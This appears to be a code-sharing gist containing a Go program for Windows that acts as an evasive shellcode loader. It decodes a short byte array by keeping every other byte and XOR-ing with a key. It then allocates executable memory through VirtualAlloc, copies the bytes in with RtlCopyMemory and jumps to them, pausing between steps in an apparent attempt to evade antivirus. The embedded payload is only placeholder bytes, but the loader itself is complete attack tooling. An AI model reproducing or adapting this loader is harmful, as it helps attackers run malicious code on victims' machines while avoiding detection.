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@OlivierLaflamme
Created April 20, 2022 22:04
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package main
import (
"fmt"
"syscall"
"time"
"unsafe"
)
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
)
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)
func main() {
mix_shellcode := []byte{0x95,0x69,0x39,0x71,0xe6,0x65}
var ttyolller []byte
key := []byte("iqe")
var key_size = len(key)
var shellcode_final []byte
var j = 0
time.Sleep(2)
fmt.Print(len(mix_shellcode))
for i := 0; i < len(mix_shellcode); i++ {
if (i % 2 == 0) {
shellcode_final = append(shellcode_final,mix_shellcode[i])
j += 1
}
}
time.Sleep(3)
fmt.Print(shellcode_final)
for i := 0; i < len(shellcode_final); i++ {
ttyolller = append(ttyolller, shellcode_final[i]^key[i % key_size])
}
time.Sleep(3)
addr, _, err := VirtualAlloc.Call(0, uintptr(len(ttyolller)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
time.Sleep(3)
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&ttyolller[0])), uintptr(len(ttyolller)))
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
syscall.Syscall(addr, 0, 0, 0, 0)
}
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